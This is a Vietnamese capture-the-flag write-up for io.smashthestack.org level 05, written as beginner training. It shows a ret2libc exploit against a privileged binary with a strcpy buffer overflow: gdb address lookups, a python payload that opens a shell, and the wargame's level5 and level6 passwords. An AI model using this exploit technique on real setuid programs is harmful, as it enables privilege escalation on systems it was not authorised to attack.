Writeup CTF: io.smashthestack.org level 05
Chào các bạn, gần đây phong trào CTF đang được nhiều đơn vị, cơ quan, trường đại học quan tâm và thường xuyên tổ chức. Bắt đầu tư hôm nay, mình sẽ đưa các bài writeup về CTF mà mình đã làm và vượt qua, hi vọng có thể giúp một số bạn mới tham gia vào CTF có thêm kinh nghiệm khi tham gia chơi CTF. ...
Chào các bạn, gần đây phong trào CTF đang được nhiều đơn vị, cơ quan, trường đại học quan tâm và thường xuyên tổ chức. Bắt đầu tư hôm nay, mình sẽ đưa các bài writeup về CTF mà mình đã làm và vượt qua, hi vọng có thể giúp một số bạn mới tham gia vào CTF có thêm kinh nghiệm khi tham gia chơi CTF. Một trò chơi rất thích hợp để nâng cao khả năng và trình độ thực hành trong ngành an toàn thông tin.
Bài đầu tiên mình sẽ writeup về một challenge trên io.smashthestack.org, đây là CTF chuyên về khai thác lỗi phần mềm dạng “local exploit”. Đây là bài CTF level 5 trên trang io.smashthestack.org.
Để truy cập vào CTF này ta SSH đến máy chủ theo thông tin sau:
level5@io.smashthestack.org
Mật khẩu: KGpWsju2vDpmxcxlvm
Tuy nhiên, bạn cũng có thể bắt đầu lại từ Level1 củio.smashthestack.org, sẽ cung cấp các kiến thức cho bạn để hiểu hơn về các dạng “local exploit” khác.
level5@io:~$ cd /levels/
level5@io:/levels$ ./level05
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf(“%s ”, buf);
return 0;
}
Chương trình bị lỗi tràn bộ đệm, khi ta input đầu vào buffer hơn 128 kí tự thì sẽ bị tràn bộ đệm
level5@io:/levels$ ls -n level05
-r-sr-x— 1 1006 1005 7140 Nov 16 2007 level05
Chương trình được set SGID nên ta có thể dùng nó để đọc .pass của level6. Ở đây, mình sẽ thực hiện bằng phương pháp ret2libc
Việc đầu tiên trong ret2libc là kiếm địa chỉ của hàm system và exit trong libc
level5@io:/levels$ gdb level
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.This GDB was configured as “i486-linux-gnu”.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>…
level: No such file or directory.
(gdb) file level05
Reading symbols from /levels/level05…done.
(gdb) break main
Breakpoint 1 at 0x80483bd
(gdb) p system
No symbol “system” in current context.
(gdb) r
Starting program: /levels/level05
Breakpoint 1, 0x080483bd in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eaaf10 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e9e550 <exit>
(gdb)
Hàm system có địa chỉ là 0xb7eaaf10 và hàm exit có địa chỉ là 0xb7e9e550. Có địa chỉ rồi, ta tiếp tục kiếm chuỗi “/bin/sh”. Có 2 cách để kiếm chuỗi “/bin/sh” là dùng memfetch và dùng biến môi trường. Ở bài này mình sẽ hướng dẫn dùng biến môi trường.
Ta export 1 biến môi trường với tên:
level5@io:/tmp/pns2$ export BINSH=”/bin/sh”
Sau đó viết 1 chương trình nhỏ để lấy địa chỉ của biến môi trường (dùng con trỏ %p)
level5@io:/tmp/pns2$ cat ./getenv.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char *path;
path = getenv(“BINSH”);
if(path)
printf(“The current path is: %p ”, path);
return 0;
}
Và lấy địa chỉ của biến môi trường
level5@io:/tmp/pns2$ ./getenv
The current path is: 0xbfffff74
Lưu ý, biến môi trường sẽ thay đổi nếu path của tệp thay đổi, ví dụ:
level5@io:/tmp/pns2$ ./getenv
The current path is: 0xbfffff74
level5@io:/tmp/pns2$ /tmp/pns2/getenv
The current path is: 0xbfffff64
level5@io:/tmp/pns2$ cd /levels/
level5@io:/levels$ /tmp/pns2/getenv
The current path is: 0xbfffff64
level5@io:/levels$ cd /tmp
level5@io:/tmp$ ./pns2/getenv
The current path is: 0xbfffff6a
Sau khi có đủ 3 điều kiện cần thiết (địa chỉ của system, exit và chuỗi “/bin/sh”) ta tiến hành exploit chương trình bằng phương pháp ret2libc. Trong stack, ta hình dung nó như thế này:
<địa chỉ hàm> <địa chỉ trả về> <tham số 1> <tham số 2> <tham số 3> ..
Vậy nên ta sẽ đưa vào lần lượt theo thứ tự: Địa chỉ hàm system => địa chỉ hàm exit => địa chỉ tham số chuỗi “/bin/sh”
“x10xafxeaxb7″+”x50xe5xe9xb7″+”x74xffxffxbf”
Chạy thử xem nào
Starting program: /levels/level05 `python -c ‘print “a”*140+”x10xafxeaxb7″+”x50xe5xe9xb7″+”x74xffxffxbf”‘`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·tÿÿ¿
sh-4.2$
Ok rồi, giờ mình chạy trên shell:
level5@io:/levels$ ./level05 `python -c ‘print “a”*140+”x10xafxeaxb7″+”x50xe5xe9xb7″+”x74xffxffxbf”‘`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·tÿÿ¿
sh: in/sh: No such file or directory
Tại sao lại thực thi lệnh “in/sh” mà không phải là “/bin/sh”? 2 kí tự “/b” đã đi đâu?
Nãy mình có đề cập đến sự thay đổi địa chỉ trong biến môi trường. Đúng rồi, mình sẽ trừ giá trị địa chỉ của chuỗi “/bin/sh”
level5@io:/levels$ ./level05 `python -c ‘print “a”*140+”x10xafxeaxb7″+”x50xe5xe9xb7″+”x72xffxffxbf”‘`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·rÿÿ¿
sh-4.2$ cat /home/level6/.pass
9BT8fmYDTPimXXhY3m
sh-4.2$
Kinh nghiệm rút ra từ CTF này là mỗi khi khai thác lỗi phần mềm, ta phải hiểu rõ về hệ thống đang khai thác (biến môi trường, debugger, kiến trúc hệ điều hành…).